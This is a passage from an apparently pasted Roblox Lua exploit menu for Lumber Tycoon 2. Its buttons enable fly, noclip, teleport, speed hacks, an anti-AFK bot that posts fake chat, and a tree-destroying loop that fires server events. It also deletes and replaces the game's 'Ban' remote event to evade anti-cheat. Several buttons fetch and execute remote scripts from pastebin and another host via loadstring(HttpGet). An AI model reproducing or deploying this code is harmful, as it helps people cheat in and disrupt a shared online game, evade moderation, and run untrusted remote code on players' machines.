  4192. StopGriefFly.TextColor3 = Color3.new(255, 0, 0)
  4193. StopGriefFly.TextSize = 15
  4194. StopGriefFly.MouseButton1Click:connect(function()
  4195. GriefFly.TextColor3 = Color3.new(1, 1, 1)
  4196. active = false
  4197. game.Players.LocalPlayer.Character.HumanoidRootPart.BodyThrust:Remove()
  4198. if flying then
  4199. end
  4200. GriefFly.Text = "Grief Fly Off "
  4201. StopGriefFly.Text = "Press Fly"
  4202. GriefFly.TextColor3 = Color3.new(255, 0, 0)
  4203. end)
  4204.  
  4205. Fly.Name = "Fly"
  4206. Fly.Parent = toolaFrame
  4207. Fly.BackgroundColor3 = Color3.new(0, 0, 0)
  4208. Fly.BorderColor3 = Color3.new(0, 0, 0)
  4209. Fly.Position = UDim2.new(0, 3, 0, 95)
  4210. Fly.Size = UDim2.new(0, 165, 0, 20)
  4211. Fly.Font = Enum.Font.Fantasy
  4212. Fly.FontSize = Enum.FontSize.Size18
  4213. Fly.Text = "Fly (Press again to STOP)"
  4214. Fly.TextColor3 = Color3.new(255, 0, 0)
  4215. Fly.TextSize = 15
  4216. Fly.MouseButton1Down:connect(function()
  4217.  
  4218. flying = not flying
  4219. repeat wait()
  4220. until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  4221. local mouse = game.Players.LocalPlayer:GetMouse()
  4222. repeat wait() until mouse
  4223. local plr = game.Players.LocalPlayer
  4224. local torso = plr.Character.Torso
  4225. local deb = true
  4226. local ctrl = {f = 0, b = 0, l = 0, r = 0}
  4227. local lastctrl = {f = 0, b = 0, l = 0, r = 0}
  4228. local maxspeed = 200
  4229. local speed = 0
  4230. if flying then
  4231. end
  4232.  
  4233. function FlyFunction()
  4234. local bg = Instance.new("BodyGyro", torso)
  4235. bg.P = 9e4
  4236. bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  4237. bg.cframe = torso.CFrame
  4238. local bv = Instance.new("BodyVelocity", torso)
  4239. bv.velocity = Vector3.new(0,0.1,0)
  4240. bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
  4241. repeat wait()
  4242. plr.Character.Humanoid.PlatformStand = true
  4243. if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
  4244. speed = speed+.5+(speed/maxspeed)
  4245. if speed > maxspeed then
  4246. speed = maxspeed
  4247. end
  4248. elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
  4249. speed = speed-1
  4250. if speed < 0 then
  4251. speed = 0
  4252. end
  4253. end
  4254. if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
  4255. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  4256. lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
  4257. elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
  4258. bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
  4259. else
  4260. bv.velocity = Vector3.new(0,0.1,0)
  4261. end
  4262. bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
  4263. until not flying
  4264. ctrl = {f = 0, b = 0, l = 0, r = 0}
  4265. lastctrl = {f = 0, b = 0, l = 0, r = 0}
  4266. speed = 0
  4267. bg:Destroy()
  4268. bv:Destroy()
  4269. plr.Character.Humanoid.PlatformStand = false
  4270. end
  4271. mouse.KeyDown:connect(function(key)
  4272. if key:lower() == "w" then
  4273. ctrl.f = 1
  4274. elseif key:lower() == "s" then
  4275. ctrl.b = -1
  4276. elseif key:lower() == "a" then
  4277. ctrl.l = -1
  4278. elseif key:lower() == "d" then
  4279. ctrl.r = 1
  4280.  
  4281. end
  4282. end)
  4283. mouse.KeyUp:connect(function(key)
  4284. if key:lower() == "w" then
  4285. ctrl.f = 0
  4286. elseif key:lower() == "s" then
  4287. ctrl.b = 0
  4288. elseif key:lower() == "a" then
  4289. ctrl.l = 0
  4290. elseif key:lower() == "d" then
  4291. ctrl.r = 0
  4292. end
  4293. end)
  4294. FlyFunction()
  4295.  
  4296. end)
  4297.  
  4298. PinkWires.Name = "PinkWires"
  4299. PinkWires.Parent = toolaFrame
  4300. PinkWires.BackgroundColor3 = Color3.new(0, 0, 0)
  4301. PinkWires.BorderColor3 = Color3.new(0, 0, 0)
  4302. PinkWires.Position = UDim2.new(0, 3, 0, 118)
  4303. PinkWires.Size = UDim2.new(0, 165, 0, 20)
  4304. PinkWires.Font = Enum.Font.Fantasy
  4305. PinkWires.FontSize = Enum.FontSize.Size18
  4306. PinkWires.Text = "Pink Wires"
  4307. PinkWires.TextColor3 = Color3.new(255, 0, 0)
  4308. PinkWires.TextSize = 15
  4309. PinkWires.MouseButton1Click:connect(function()
  4310. local typecurrent = false
  4311. if typecurrent == true then
  4312. typecurrent = false
  4313. PinkWires.TextColor3 = Color3.new(0.666667, 0, 0)
  4314. PinkWires.Text = "Pink Wires: Magenta Icicle"
  4315. local c = game.ReplicatedStorage.Purchasables:FindFirstChild("IcicleWireMagenta", true)
  4316. c.Name = "Wire"
  4317. local d = game.ReplicatedStorage.Purchasables:FindFirstChild("Wire", true)
  4318. d:Destroy()
  4319. elseif typecurrent == false then
  4320. typecurrent = true
  4321. PinkWires.TextColor3 = Color3.new(1, 1, 1)
  4322. PinkWires.Text = "Pink Wires: Active"
  4323. local a = game.ReplicatedStorage.Purchasables:FindFirstChild("NeonWirePinky", true)
  4324. a.Name = "Wire"
  4325. local b = game.ReplicatedStorage.Purchasables:FindFirstChild("Wire", true)
  4326. b:Destroy()
  4327. end
  4328. end)
  4329.  
  4330. WaterCollide.Name = "WaterCollide"
  4331. WaterCollide.Parent = toolaFrame
  4332. WaterCollide.BackgroundColor3 = Color3.new(0, 0, 0)
  4333. WaterCollide.BorderColor3 = Color3.new(0, 0, 0)
  4334. WaterCollide.Position = UDim2.new(0, 3, 0, 141)
  4335. WaterCollide.Size = UDim2.new(0, 165, 0, 20)
  4336. WaterCollide.Font = Enum.Font.Fantasy
  4337. WaterCollide.FontSize = Enum.FontSize.Size18
  4338. WaterCollide.Text = "Walk On Water"
  4339. WaterCollide.TextColor3 = Color3.new(255, 0, 0)
  4340. WaterCollide.TextSize = 15
  4341. WaterCollide.MouseButton1Down:connect(function()
  4342. if WCollide == "Nothing" then
  4343. WCollide = "On"
  4344. WaterCollide.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
  4345. WaterCollide.TextColor3 = Color3.new(1, 1, 1)
  4346. WaterCollide.Text = "Water Is Solid"
  4347. game:service'ReplicatedStorage'.Interaction.Ban:Destroy()
  4348. Instance.new('RemoteEvent', game:service'ReplicatedStorage'.Interaction).Name = "Ban"
  4349. for i,v in pairs(game.Workspace.Water:GetChildren()) do
  4350. if v:IsA("Part") then
  4351. v.CanCollide = true
  4352. end
  4353. end
  4354. else
  4355. WCollide = "Nothing"
  4356. WaterCollide.BackgroundColor3 = Color3.new(0, 0, 0)
  4357. WaterCollide.TextColor3 = Color3.new(255, 0, 0)
  4358. WaterCollide.Text = "Walk On Water"
  4359. for i,v in pairs(game.Workspace.Water:GetChildren()) do
  4360. if v:IsA("Part") then
  4361. v.CanCollide = false
  4362. end
  4363. end
  4364. end
  4365. end)
  4366.  
  4367.  
  4368. ClickTP.Name = "ClickTP"
  4369. ClickTP.Parent = toolaFrame
  4370. ClickTP.BackgroundColor3 = Color3.new(0, 0, 0)
  4371. ClickTP.BorderColor3 = Color3.new(0, 0, 0)
  4372. ClickTP.Position = UDim2.new(0, 3, 0, 164)
  4373. ClickTP.Size = UDim2.new(0, 165, 0, 20)
  4374. ClickTP.Font = Enum.Font.Fantasy
  4375. ClickTP.FontSize = Enum.FontSize.Size18
  4376. ClickTP.Text = "ClickTP"
  4377. ClickTP.TextColor3 = Color3.new(255, 0, 0)
  4378. ClickTP.TextSize = 15
  4379. ClickTP.MouseButton1Click:Connect(function()
  4380. mouse = game.Players.LocalPlayer:GetMouse()
  4381. tool = Instance.new("Tool")
  4382. tool.RequiresHandle = false
  4383. tool.Name = "Click Teleport"
  4384. tool.Activated:connect(function()
  4385. local pos = mouse.Hit+Vector3.new(0,2.5,0)
  4386. pos = CFrame.new(pos.X,pos.Y,pos.Z)
  4387. game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = pos
  4388. end)
  4389. tool.Parent = game.Players.LocalPlayer.Backpack
  4390. end)
  4391.  
  4392. Noclip.Name = "Noclip"
  4393. Noclip.Parent = toolaFrame
  4394. Noclip.BackgroundColor3 = Color3.new(0, 0, 0)
  4395. Noclip.BorderColor3 = Color3.new(0, 0, 0)
  4396. Noclip.Position = UDim2.new(0, 3, 0, 187)
  4397. Noclip.Size = UDim2.new(0, 165, 0, 20)
  4398. Noclip.Font = Enum.Font.Fantasy
  4399. Noclip.FontSize = Enum.FontSize.Size18
  4400. Noclip.Text = "No clip"
  4401. Noclip.TextColor3 = Color3.new(255, 0, 0)
  4402. Noclip.TextSize = 15
  4403. noclip = false
  4404. game:GetService('RunService').Stepped:connect(function()
  4405. if noclip then
  4406. game.Players.LocalPlayer.Character.Humanoid:ChangeState(11)
  4407. Noclip.BackgroundColor3 = Color3.new(0, 0, 0)
  4408. Noclip.TextColor3 = Color3.new(1, 1, 1)
  4409. Noclip.Text = "No Clip On"
  4410. end
  4411. end)
  4412. Noclip.MouseButton1Down:connect(function()
  4413. noclip = not noclip
  4414. Noclip.BackgroundColor3 = Color3.new(0, 0, 0)
  4415. Noclip.TextColor3 = Color3.new(255, 0, 0)
  4416. Noclip.Text = "No Clip Off"
  4417.  
  4418. end)
  4419.  
  4420. AntiAFK.Name = "AntiAFK"
  4421. AntiAFK.Parent = toolaFrame
  4422. AntiAFK.BackgroundColor3 = Color3.new(0, 0, 0)
  4423. AntiAFK.BorderColor3 = Color3.new(0, 0, 0)
  4424. AntiAFK.Position = UDim2.new(0, 3, 0, 233)
  4425. AntiAFK.Size = UDim2.new(0, 165, 0, 20)
  4426. AntiAFK.Font = Enum.Font.Fantasy
  4427. AntiAFK.FontSize = Enum.FontSize.Size18
  4428. AntiAFK.Text = "Start Anti-AFK Mode"
  4429. AntiAFK.TextColor3 = Color3.new(255, 0, 0)
  4430. AntiAFK.TextSize = 15
  4431.  
  4432. AntiAFKtime.Name = "AntiAFKtime"
  4433. AntiAFKtime.Parent = toolaFrame
  4434. AntiAFKtime.BackgroundColor3 = Color3.new(0, 0, 0)
  4435. AntiAFKtime.BorderColor3 = Color3.new(0, 0, 0)
  4436. AntiAFKtime.Position = UDim2.new(0, 3, 0, 210)
  4437. AntiAFKtime.Size = UDim2.new(0, 165, 0, 20)
  4438. AntiAFKtime.Font = Enum.Font.Fantasy
  4439. AntiAFKtime.FontSize = Enum.FontSize.Size18
  4440. AntiAFKtime.Text = "AFK for: 0 Seconds"
  4441. AntiAFKtime.TextColor3 = Color3.new(255, 0, 0)
  4442. AntiAFKtime.TextSize = 15
  4443.  
  4444.  
  4445. AntiAFK.MouseButton1Down:Connect(function()
  4446.  
  4447. if afkactive == true then
  4448. afkactive = false
  4449. AntiAFK.BackgroundColor3 = Color3.new(0, 0, 0)
  4450. AntiAFKtime.TextColor3 = Color3.new(1, 1, 1)
  4451. AntiAFK.Text = "Start Anti-AFK Mode"
  4452. elseif afkactive == false then
  4453. afkactive = true
  4454. AntiAFK.BackgroundColor3 = Color3.new(0, 0, 0)
  4455. AntiAFKtime.TextColor3 = Color3.new(1, 1, 1)
  4456. AntiAFK.Text = "Stop Anti-AFK Mode"
  4457.  
  4458. logtime = coroutine.wrap(function()
  4459. afktotaltime=0
  4460. while afkactive == true do
  4461. wait(1)
  4462. afktotaltime=afktotaltime+1
  4463. AntiAFKtime.Text = "AFK for: "..afktotaltime.." Seconds"
  4464. end
  4465. end)
  4466.  
  4467. messageBot = coroutine.wrap(function()
  4468. while afkactive == true do
  4469. wait(900)
  4470. possiblechats = {"afk", "brb", "I'm AFK"}
  4471. decide=math.random(1,#possiblechats)
  4472. game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(possiblechats[decide], "All")
  4473. game.Players:Chat("/e point")
  4474. end
  4475. end)
  4476.  
  4477. moveChar = coroutine.wrap(function()
  4478. plr = game:service'Players'.LocalPlayer
  4479. char = plr.Character
  4480. hum = char:FindFirstChildOfClass'Humanoid'
  4481. while afkactive==true do
  4482. wait(1)
  4483. hum:Move(Vector3.new(1, 0, 0), false)
  4484. wait(1)
  4485. hum:Move(Vector3.new(-1, 0, 0), false)
  4486. wait(1)
  4487. hum:Move(Vector3.new(1, 0, 0), false)
  4488. wait(1)
  4489. hum:Move(Vector3.new(-1, 0, 0), false)
  4490. wait(1)
  4491. hum:Move(Vector3.new(0, 1, 0), false)
  4492. wait(1)
  4493. hum:Move(Vector3.new(0, 1, 0), false)
  4494. wait(60)
  4495. end
  4496. end)
  4497.  
  4498. logtime()
  4499. moveChar()
  4500. messageBot()
  4501.  
  4502. end
  4503. end)
  4504.  
  4505.  
  4506. Fog.Name = "Fog"
  4507. Fog.Parent = toolaFrame
  4508. Fog.BackgroundColor3 = Color3.new(0, 0, 0)
  4509. Fog.BorderColor3 = Color3.new(0, 0, 0)
  4510. Fog.Position = UDim2.new(0, 3, 0, 256)
  4511. Fog.Size = UDim2.new(0, 165, 0, 20)
  4512. Fog.Font = Enum.Font.Fantasy
  4513. Fog.FontSize = Enum.FontSize.Size18
  4514. Fog.Text = "Remove Fog"
  4515. Fog.TextColor3 = Color3.new(255, 0, 0)
  4516. Fog.TextSize = 15
  4517. Fog.MouseButton1Down:connect(function()
  4518. Fog.BackgroundColor3 = Color3.new(0, 0, 0)
  4519. Fog.TextColor3 = Color3.new(1, 1, 1)
  4520. game.Lighting.Changed:connect(function()
  4521. game.Lighting.TimeOfDay = "12:00:00"
  4522. game.Lighting.FogEnd = 9999
  4523. game.Lighting.Brightness = 2
  4524. end)
  4525. end)
  4526.  
  4527. CARAs.Name = "CARAs"
  4528. CARAs.Parent = toolaFrame
  4529. CARAs.BackgroundColor3 = Color3.new(0, 0, 0)
  4530. CARAs.BorderColor3 = Color3.new(0, 0, 0)
  4531. CARAs.Position = UDim2.new(0, 147, 0, 279)
  4532. CARAs.Size = UDim2.new(0, 21, 0, 20)
  4533. CARAs.Font = Enum.Font.Fantasy
  4534. CARAs.FontSize = Enum.FontSize.Size18
  4535. CARAs.Text = "S"
  4536. CARAs.TextColor3 = Color3.new(255, 0, 0)
  4537. CARAs.TextSize = 15
  4538.  
  4539. CARA.Name = "CARA"
  4540. CARA.Parent = toolaFrame
  4541. CARA.BackgroundColor3 = Color3.new(0, 0, 0)
  4542. CARA.BorderColor3 = Color3.new(0, 0, 0)
  4543. CARA.Position = UDim2.new(0, 3, 0, 279)
  4544. CARA.Size = UDim2.new(0, 140, 0, 20)
  4545. CARA.Font = Enum.Font.Fantasy
  4546. CARA.FontSize = Enum.FontSize.Size18
  4547. CARA.Text = "Fast Car"
  4548. CARA.TextColor3 = Color3.new(255, 0, 0)
  4549. CARA.TextSize = 15
  4550. CARA.MouseButton1Down:connect(function()
  4551. CARA.BackgroundColor3 = Color3.new(0, 0, 0)
  4552. CARA.TextColor3 = Color3.new(1, 1, 1)
  4553. game.Workspace.PlayerModels.ChildAdded:connect(function(ADDED)
  4554. wait(0.5)
  4555. if ADDED:FindFirstChild('Configuration') then
  4556. if ADDED.Configuration:FindFirstChild('MaxSpeed') then
  4557. ADDED.Configuration.MaxSpeed.Value = CARAs.Text
  4558. end
  4559. end
  4560. end)
  4561. end)
  4562.  
  4563. RemoveT.Name = "RemoveT"
  4564. RemoveT.Parent = toolaFrame
  4565. RemoveT.BackgroundColor3 = Color3.new(0, 0, 0)
  4566. RemoveT.BorderColor3 = Color3.new(0, 0, 0)
  4567. RemoveT.Position = UDim2.new(0, 3, 0, 302)
  4568. RemoveT.Size = UDim2.new(0, 165, 0, 20)
  4569. RemoveT.Font = Enum.Font.Fantasy
  4570. RemoveT.FontSize = Enum.FontSize.Size18
  4571. RemoveT.Text = "Remove Trees"
  4572. RemoveT.TextColor3 = Color3.new(255, 0, 0)
  4573. RemoveT.TextSize = 15
  4574. RemoveT.MouseButton1Down:connect(function()
  4575. RemoveT.BackgroundColor3 = Color3.new(0, 0, 0)
  4576. RemoveT.TextColor3 = Color3.new(1, 1, 1)
  4577. for i,v in pairs(game.Workspace:GetDescendants()) do
  4578. if v.Name == "WoodSection" and v.Parent:FindFirstChild("CutEvent") then
  4579. game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(v.Parent)
  4580. game.ReplicatedStorage.Interaction.DestroyStructure:FireServer(v.Parent)
  4581. end
  4582. end
  4583. game.Workspace.DescendantAdded:connect(function(Thing)
  4584. wait(0.1)
  4585. if Thing.Name == "WoodSection" and Thing.Parent:FindFirstChild("CutEvent") then
  4586. game.ReplicatedStorage.Interaction.ClientIsDragging:FireServer(Thing.Parent)
  4587. game.ReplicatedStorage.Interaction.DestroyStructure:FireServer(Thing.Parent)
  4588. end
  4589. end)
  4590. end)
  4591.  
  4592. ReJoinServer.Name = "ReJoinServer"
  4593. ReJoinServer.Parent = toolaFrame
  4594. ReJoinServer.BackgroundColor3 = Color3.new(0, 0, 0)
  4595. ReJoinServer.BorderColor3 = Color3.new(0, 0, 0)
  4596. ReJoinServer.Position = UDim2.new(0, 3, 0, 325)
  4597. ReJoinServer.Size = UDim2.new(0, 165, 0, 20)
  4598. ReJoinServer.Font = Enum.Font.Fantasy
  4599. ReJoinServer.FontSize = Enum.FontSize.Size18
  4600. ReJoinServer.Text = "ReJoin Server"
  4601. ReJoinServer.TextColor3 = Color3.new(255, 0, 0)
  4602. ReJoinServer.TextSize = 15
  4603. ReJoinServer.MouseButton1Down:connect(function()
  4604. local placeId = "13822889"
  4605. game:GetService("TeleportService"):Teleport(placeId)
  4606. end)
  4607.  
  4608. Reset.Name = "Reset"
  4609. Reset.Parent = toolaFrame
  4610. Reset.BackgroundColor3 = Color3.new(0, 0, 0)
  4611. Reset.BorderColor3 = Color3.new(0, 0, 0)
  4612. Reset.Position = UDim2.new(0, 3, 0, 348)
  4613. Reset.Size = UDim2.new(0, 165, 0, 20)
  4614. Reset.Font = Enum.Font.Fantasy
  4615. Reset.FontSize = Enum.FontSize.Size18
  4616. Reset.Text = "Reset Character"
  4617. Reset.TextColor3 = Color3.new(255, 0, 0)
  4618. Reset.TextSize = 15
  4619. Reset.MouseButton1Click:connect(function()
  4620. game.Players.LocalPlayer.Character.Head:Destroy()
  4621. end)
  4622.  
  4623.  
  4624. local BuyFrame = Instance.new("Frame")
  4625. local Buymenu = Instance.new("ImageButton")
  4626. local bcps = Instance.new("TextButton")
  4627. local lshop = Instance.new("TextButton")
  4628. local fshop = Instance.new("TextButton")
  4629. local wrus = Instance.new("TextButton")
  4630. local bp = Instance.new("TextButton")
  4631. local ls = Instance.new("TextButton")
  4632.  
  4633. Buymenu.Name = "Buymenu"
  4634. Buymenu.Parent = Picker
  4635. Buymenu.BackgroundColor3 = Color3.new(1, 1, 1)
  4636. Buymenu.BorderColor3 = Color3.new(0, 0, 0)
  4637. Buymenu.Position = UDim2.new(0, 15, 0,515)
  4638. Buymenu.Size = UDim2.new(0, 80, 0, 80)
  4639. Buymenu.ZIndex = 3
  4640. Buymenu.Image = "rbxassetid://3936608288"
  4641. Buymenu.ScaleType = Enum.ScaleType.Crop
  4642. Buymenu.MouseButton1Click:Connect(function()
  4643. CurrentItem.Image = "rbxassetid://3886256996"
  4644. AIntroImage.Visible = true
  4645. AIntroImage1.Visible = true
  4646. end)
  4647.  
  4648. BuyFrame.Name = "BuyFrame"
  4649. BuyFrame.Parent = MenuFrame
  4650. BuyFrame.BorderSizePixel = 1
  4651. BuyFrame.BackgroundTransparency = 0
  4652. BuyFrame.BorderColor3 = Color3.new(0, 0, 0)
  4653. BuyFrame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
  4654. BuyFrame.Size = UDim2.new(0, 170, 0, 120)
  4655. BuyFrame.Visible = false
  4656.  
  4657. wrus.Name = "wrus"
  4658. wrus.Parent = BuyFrame
  4659. wrus.BackgroundColor3 = Color3.new(0, 0, 0)
  4660. wrus.BorderColor3 = Color3.new(0, 0, 0)
  4661. wrus.Position = UDim2.new(0, 3, 0, 3)
  4662. wrus.Size = UDim2.new(0, 164, 0, 20)
  4663. wrus.Font = Enum.Font.Fantasy
  4664. wrus.FontSize = Enum.FontSize.Size18
  4665. wrus.Text = "Wod R Us"
  4666. wrus.TextColor3 = Color3.new(255, 0, 0)
  4667. wrus.TextSize = 15
  4668. wrus.MouseButton1Click:connect(function()
  4669. loadstring(game:HttpGet('https://pastebin.com/raw/fKZ8uQjD',true))()
  4670.  
  4671. end)
  4672.  
  4673. fshop.Name = "fshop"
  4674. fshop.Parent = BuyFrame
  4675. fshop.BackgroundColor3 = Color3.new(0, 0, 0)
  4676. fshop.BorderColor3 = Color3.new(0, 0, 0)
  4677. fshop.Position = UDim2.new(0, 3, 0, 26)
  4678. fshop.Size = UDim2.new(0, 164, 0, 20)
  4679. fshop.Font = Enum.Font.Fantasy
  4680. fshop.FontSize = Enum.FontSize.Size18
  4681. fshop.Text = "Furniture Store"
  4682. fshop.TextColor3 = Color3.new(255, 0, 0)
  4683. fshop.TextSize = 15
  4684. fshop.MouseButton1Click:connect(function()
  4685. loadstring(game:HttpGet('https://pastebin.com/raw/S9SYLmVx',true))()
  4686.  
  4687. end)
  4688.  
  4689. bcps.Name = "bcps"
  4690. bcps.Parent = BuyFrame
  4691. bcps.BackgroundColor3 = Color3.new(0, 0, 0)
  4692. bcps.BorderColor3 = Color3.new(0, 0, 0)
  4693. bcps.Position = UDim2.new(0, 3, 0, 49)
  4694. bcps.Size = UDim2.new(0, 164, 0, 20)
  4695. bcps.Font = Enum.Font.Fantasy
  4696. bcps.FontSize = Enum.FontSize.Size18
  4697. bcps.Text = "Bobs, Car, Pics"
  4698. bcps.TextColor3 = Color3.new(255, 0, 0)
  4699. bcps.TextSize = 15
  4700. bcps.MouseButton1Click:connect(function()
  4701. loadstring(game:HttpGet('https://pastebin.com/raw/nG51TnbL',true))()
  4702.  
  4703.  
  4704. end)
  4705.  
  4706. ls.Name = "ls"
  4707. ls.Parent = BuyFrame
  4708. ls.BackgroundColor3 = Color3.new(0, 0, 0)
  4709. ls.BorderColor3 = Color3.new(0, 0, 0)
  4710. ls.Position = UDim2.new(0, 3, 0, 72)
  4711. ls.Size = UDim2.new(0, 164, 0, 20)
  4712. ls.Font = Enum.Font.Fantasy
  4713. ls.FontSize = Enum.FontSize.Size18
  4714. ls.Text = "Logic Store"
  4715. ls.TextColor3 = Color3.new(255, 0, 0)
  4716. ls.TextSize = 15
  4717. ls.MouseButton1Click:connect(function()
  4718. loadstring(game:HttpGet('https://pastebin.com/raw/eCtaBT4h',true))()
  4719.  
  4720. end)
  4721.  
  4722. bp.Name = "bp"
  4723. bp.Parent = BuyFrame
  4724. bp.BackgroundColor3 = Color3.new(0, 0, 0)
  4725. bp.BorderColor3 = Color3.new(0, 0, 0)
  4726. bp.Position = UDim2.new(0, 3, 0, 96)
  4727. bp.Size = UDim2.new(0, 164, 0, 20)
  4728. bp.Font = Enum.Font.Fantasy
  4729. bp.FontSize = Enum.FontSize.Size18
  4730. bp.Text = "Blue Prints"
  4731. bp.TextColor3 = Color3.new(255, 0, 0)
  4732. bp.TextSize = 15
  4733. bp.MouseButton1Click:connect(function()
  4734. loadstring(game:HttpGet('https://pastebin.com/raw/4MCbKXUs',true))()
  4735.  
  4736. end)
  4737. local LT2GUI2Frame = Instance.new("Frame")
  4738. local Btoolamenu = Instance.new("ImageButton")
  4739. local FunStuffHOVER = Instance.new("TextButton")
  4740. local FunStuffTHOMAS = Instance.new("TextButton")
  4741. local FunStuffPOLICE = Instance.new("TextButton")
  4742. local FunStuffSPRAY = Instance.new("TextButton")
  4743. local FunStuffCOCA = Instance.new("TextButton")
  4744. local FunStuffLEAKED = Instance.new("TextButton")
  4745. local FunStuffFLASH = Instance.new("TextButton")
  4746. local FunStuffReset = Instance.new("TextButton")
  4747.  
  4748. Btoolamenu.Name = "Btoolamenu"
  4749. Btoolamenu.Parent = Picker
  4750. Btoolamenu.BackgroundColor3 = Color3.new(1, 1, 1)
  4751. Btoolamenu.BorderColor3 = Color3.new(0, 0, 0)
  4752. Btoolamenu.Position = UDim2.new(0, 15, 0,600)
  4753. Btoolamenu.Size = UDim2.new(0, 80, 0, 80)
  4754. Btoolamenu.ZIndex = 3
  4755. Btoolamenu.Image = "rbxassetid://3953123880"
  4756. Btoolamenu.ScaleType = Enum.ScaleType.Crop
  4757. Btoolamenu.MouseButton1Click:Connect(function()
  4758. CurrentItem.Image = "rbxassetid://3886256996"
  4759. AIntroImage.Visible = true
  4760. AIntroImage1.Visible = true
  4761. end)
  4762.  
  4763. LT2GUI2Frame.Name = "LT2GUI2Frame"
  4764. LT2GUI2Frame.Parent = MenuFrame
  4765. LT2GUI2Frame.BorderSizePixel = 1
  4766. LT2GUI2Frame.BackgroundTransparency = 0
  4767. LT2GUI2Frame.BorderColor3 = Color3.new(0, 0, 0)
  4768. LT2GUI2Frame.BackgroundColor3 = Color3.fromRGB(196, 40, 28)
  4769. LT2GUI2Frame.Size = UDim2.new(0, 170, 0, 186)
  4770. LT2GUI2Frame.Visible = false
  4771.  
  4772. FunStuffHOVER.Name = "FunStuffHOVER"
  4773. FunStuffHOVER.Parent = LT2GUI2Frame
  4774. FunStuffHOVER.BackgroundColor3 = Color3.new(0, 0, 0)
  4775. FunStuffHOVER.BorderColor3 = Color3.new(0, 0, 0)
  4776. FunStuffHOVER.Position = UDim2.new(0, 3, 0, 3)
  4777. FunStuffHOVER.Size = UDim2.new(0, 165, 0, 20)
  4778. FunStuffHOVER.Font = Enum.Font.Fantasy
  4779. FunStuffHOVER.FontSize = Enum.FontSize.Size18
  4780. FunStuffHOVER.Text = "Hover Board"
  4781. FunStuffHOVER.TextColor3 = Color3.new(255, 0, 0)
  4782. FunStuffHOVER.TextSize = 15
  4783. FunStuffHOVER.MouseButton1Click:connect(function()
  4784. loadstring(game:HttpGet('https://nto.darkdevs.pro/uploads/Hoverboard.txt',true))()
  4785.  
  4786. end)
  4787.  
  4788. FunStuffTHOMAS.Name = "FunStuffTHOMAS"
  4789. FunStuffTHOMAS.Parent = LT2GUI2Frame
  4790. FunStuffTHOMAS.BackgroundColor3 = Color3.new(0, 0, 0)
  4791. FunStuffTHOMAS.BorderColor3 = Color3.new(0, 0, 0)
  4792. FunStuffTHOMAS.Position = UDim2.new(0, 3, 0, 26)
  4793. FunStuffTHOMAS.Size = UDim2.new(0, 165, 0, 20)
  4794. FunStuffTHOMAS.Font = Enum.Font.Fantasy
  4795. FunStuffTHOMAS.FontSize = Enum.FontSize.Size18
  4796. FunStuffTHOMAS.Text = "Thomas The Tank"
  4797. FunStuffTHOMAS.TextColor3 = Color3.new(255, 0, 0)
  4798. FunStuffTHOMAS.TextSize = 15
  4799. FunStuffTHOMAS.MouseButton1Click:connect(function()
  4800. loadstring(game:HttpGet('http://pastebin.com/raw/tMr759X7',true))()
  4801.  
  4802. end)
  4803.  
  4804. FunStuffPOLICE.Name = "FunStuffPOLICE"
  4805. FunStuffPOLICE.Parent = LT2GUI2Frame
  4806. FunStuffPOLICE.BackgroundColor3 = Color3.new(0, 0, 0)
  4807. FunStuffPOLICE.BorderColor3 = Color3.new(0, 0, 0)
  4808. FunStuffPOLICE.Position = UDim2.new(0, 3, 0, 49)
  4809. FunStuffPOLICE.Size = UDim2.new(0, 165, 0, 20)
  4810. FunStuffPOLICE.Font = Enum.Font.Fantasy
  4811. FunStuffPOLICE.FontSize = Enum.FontSize.Size18
  4812. FunStuffPOLICE.Text = "Police Man"
  4813. FunStuffPOLICE.TextColor3 = Color3.new(255, 0, 0)
  4814. FunStuffPOLICE.TextSize = 15
  4815. FunStuffPOLICE.MouseButton1Click:connect(function()
  4816. loadstring(game:HttpGet('https://pastebin.com/raw/FR9Fzcqw',true))()
  4817.  
  4818. end)
  4819.  
  4820. FunStuffSPRAY.Name = "FunStuffSPRAY"
  4821. FunStuffSPRAY.Parent = LT2GUI2Frame
  4822. FunStuffSPRAY.BackgroundColor3 = Color3.new(0, 0, 0)
  4823. FunStuffSPRAY.BorderColor3 = Color3.new(0, 0, 0)
  4824. FunStuffSPRAY.Position = UDim2.new(0, 3, 0, 72)
  4825. FunStuffSPRAY.Size = UDim2.new(0, 165, 0, 20)
  4826. FunStuffSPRAY.Font = Enum.Font.Fantasy
  4827. FunStuffSPRAY.FontSize = Enum.FontSize.Size18
  4828. FunStuffSPRAY.Text = "Spray Can"
  4829. FunStuffSPRAY.TextColor3 = Color3.new(255, 0, 0)
  4830. FunStuffSPRAY.TextSize = 15
  4831. FunStuffSPRAY.MouseButton1Click:connect(function()
  4832. loadstring(game:HttpGet('http://pastebin.com/raw/raYkCjyy',true))()
  4833.  
  4834. end)
  4835.  
  4836. FunStuffCOCA.Name = "FunStuffCOCA"
